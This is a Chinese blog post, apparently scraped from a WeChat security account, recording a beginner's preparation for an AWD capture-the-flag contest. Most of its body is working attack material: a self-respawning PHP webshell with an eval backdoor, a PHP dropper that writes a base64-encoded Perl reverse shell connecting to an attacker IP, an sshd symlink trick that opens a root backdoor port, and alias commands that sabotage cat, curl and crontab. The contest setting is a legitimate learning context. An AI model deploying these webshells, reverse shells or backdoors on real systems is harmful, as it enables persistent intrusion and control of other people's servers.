Sec Hotspot 首页  排行榜  收藏本站  技术博客  RSS
统计信息
已收录文章数量:17788 篇
已收录公众号数量:91 个
本站文章为爬虫采集,如有侵权请告知
已收录微信公众号
阿里云先知 网安寻路人 网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
记第一次 AWD 赛前准备与赛后小结
本文来自公众号:信安之路   2021.01.11 08:02:37


记录一下菜鸟第一次打 AWD 的经历,可能会对跟我一样的小白们有些帮助。

比赛之前,先记录一下学的东西。感谢(@Sn0w)学长搭建的 AWD 靶场给我们。

基础知识网上有好多,就不写了。

不死马的利用与删除

首先学习的就是不死马,因为它比较经典吧。

密码为 md5 加密过的为 m0re666,然后传入参数。

假设已经上传不死马。

首先,利用方式为,先访问一下,一般是 upload 文件夹有上传权限,所以一般放这里,访问

http://xxx.xxx.xxx.xxx:/upload/header.php

访问执行后,不死马开始起作用了,直接访问:

http://xxx.xxx.xxx.xxx:/.login.php?passwd=m0re666&m0re=system( 'cat /flag');

得到 flag。因为是不死马,所以可以一直使用这个点来得分,不过现在不死马已人尽皆知,恐怕只能拿一轮分数就会被杀了。

变种不死马

<?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '.login.php';$file1 = '-header.php';$code = '<?php if(md5($_GET["passwd"])=="8895b28b63e543b78f8bc5eaff8f3d86"){@eval($_REQUEST["m0re"]);} ?>';while (1){    file_put_contents($file,$code);    //system('touch -m -d "2018-12-01 09:10:12" .login.php');    file_put_contents($file1,$code);    usleep(5000);}?>#passwd=m0re666&m0re=system('cat /flag');

这个变种的,它的不同点在文件名,是 - 开头的,这里介绍一下这个比较骚的知识点。

- 开头的文件名,因为在 Linux 命令行中,各种命令会有许多的参数,所以,如果对这样方式命名的文件,执行任何命令,都会将这个文件当做参数来执行命令,没有该参数就会报错。导致什么命令都无法在这个不死马上执行,但是,在浏览器中连接访问是没问题的,依旧可以解析。可以在自己服务器上开启 docker 进行尝试。

杀掉不死马

ps aux | grep www-data | awk '{print $2}' | xargs kill -9

通过条件竞争查杀
#!/bin/bashdire="/var/www/html/.base.php/"file="/var/www/html/.base.php"rm -rf $filemkdir $dire./xx.sh

具体的其他杀不死马的方式还有很多,不列举了。

反弹 shell

如下是一个可以反弹 shell 的 php 脚本:

<?php  function which($pr) {    $path = execute("which $pr");    return ($path ? $path : $pr);  }  function execute($cfe) {    $res = '';    if ($cfe) {      if(function_exists('exec')) {        @exec($cfe,$res);        $res = join("\n",$res);      }      elseif (function_exists('shell_exec')) {        $res = @shell_exec($cfe);      }      elseif (function_exists('system')) {        @ob_start();        @system($cfe);        $res = @ob_get_contents();        @ob_end_clean();      }      elseif (function_exists('passthru')) {        @ob_start();        @passthru($cfe);        $res = @ob_get_contents();        @ob_end_clean();      }      elseif (@is_resource($f = @popen($cfe, "r"))) {        $res = '';        while(!@feof($f)) {          $res .= @fread($f,1024);        }        @pclose($f);      }    }    return $res;  }  function cf($fname, $text) {    if($fp = @fopen($fname, 'w')) {      @fputs($fp, @base64_decode($text));      @fclose($fp);    }  }$yourip = "xxx.xxx.xxx.xxx";$yourport = '1024';$usedb = array('perl'=>'perl','c'=>'c');$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj"."aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR"."hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT"."sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI"."kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi"."KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl"."OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";cf('/tmp/.bc',$back_connect);$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");?>

使用方法也是很简单,将 shell 文件上传至可访问的地方

开启 nc 监听

nc -l -vv [port] #这里是 1024,可以自己设置

然后访问该文件,就成功反弹 shell

效果如下:

然后记个小 tip: 美化终端,不过还是别花时间做这个了,虽然就一条命令。

python -c "import pty; pty.spawn('/bin/bash')"

小 Trick : 使用 find / -name *flag* grep -rn "flag" * 类似的语句可以快速发现 flag 所在的地方,方便后续拿分。

软链接

可以创建个软链接,链接到根目录下 flag

ln -s /flag /var/www/html/upload/footer.js

这个有两种方式,一种是直接使用,在他们还没来得及挂流量监控和文件监控的时候,赶快使用这条命令,直接在可以写入的 upload 文件夹下创建软链接。写成这样,不会有太多人去怀疑这个点。

然后直接 cat upload 文件夹下的 footer.js 就可以得到 flag

也可以直接访问 upload/footer.js 得到 flag 如下:

第二种利用方式,批量!!!前提是对方开启监控,怕被删怎么办,就直接批量写,到处写垃圾文件,让他们删不过来。而我们知道这个 flag 链接的文件是哪个,就可以持续得分。但是,没有尝试,因为自己服务器有点小。

ssh 免密登录(未尝试)

在终端执行此命令,然后可以实现 ssh 免密登陆

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

连接:

ssh root@x.x.x.x -p 5555

密码随意。

其他

alias 命令,命令文档。

怎么说,就是看利用方式

root 权限怎么会没权限?别人进来也无法 cat 到 flag,当然还可以使用其他办法查看。

还有就是改定时任务,别人看不了我们的定时任务。可以尝试改别人的。前提是有权限之后。

crontab -r  alias crontab="echo no crontab for `whoami` ||"#返回假的flagalias cat="echo `date`|md5sum|cut -d ' ' -f1||"

主机发现

比赛可能会告诉你其他队伍的 IP,也可能不会告诉你,一般在同一个 C 段或者 B 段,因此需要首先利用 nmap httpscan 等扫描工具发现其他队伍的 IP。

nmap:

nmap –sn 192.168.71.0/24

httpscan

./httpscan.py 10.20.30.0/24 –t 10

修改 curl 命令

alias curl='echo fuckoff' #权限要求较低# 或者alias curl='python -c "__import__(\"sys\").stdout.write(\"flag{%s}\\n\" % (__import__(\"hashlib\").md5(\"\".join([__import__(\"random\").choice(__import__(\"string\").letters) for i in range(0x10)])).hexdigest()))"'chmod -x curl #降权,取消执行权限(权限要求较高)

关闭不必要端口

netstat -napt 查看当前网络连接状态lsof -i 用以显示符合条件的进程情况lsof -i:22  查看22端口现在运行什么程序kill -9 <PID>  杀掉进程nmap -sV ip地址(-sV参数可以探测目标主机的服务器版本)

批量提交 flag 的脚本,可以进行百度,找一些脚本自己根据比赛场景进行修改。

赛后

吐槽 :真的就是赛前疯狂搜集各种脚本姿势。比赛时没有用上多少。emmmmm,怎么说就是感觉没什么可以记录的了。这个比赛已经被喷了,人学校酒店挺好的,住着很舒服。关于比赛的就不再记录了。就记一下学习的内容。

赛题复现

dump 下来 html 源码,使用 D 盾扫描

发现后门就立刻上传自己的不死马。然后激活并进行维权。相信百度上能找到很多简单维权的办法。还有搅屎的。比如 fock 炸弹等……

接下来就是 Seay 源码审计系统,进行代码审计,笔者比较菜,所以就只说怎么做。

然后根据漏洞进行验证就可以了。

总结

AWD 的话,我是负责攻击,防御交给队友,其实面对新手的小型比赛,重点就是D盾扫描,快速找到后门,然后批量上马,批量上马是有时间改脚本的,这次比赛,过程很懵,我以为不同队伍是 C 段不同而已,结果是 ==emmmm,估计是开的 docker,服了。

如果,批量没实现,就尝试一个个的上传吧。不过最后可能是有几个能拿分的。最重要的一点就是,别被别人骑到自己的马了。emmm,目前我收集到的东西就这么多,比较适合盲目百度而不知道从何下手的新手。请师傅们轻点喷。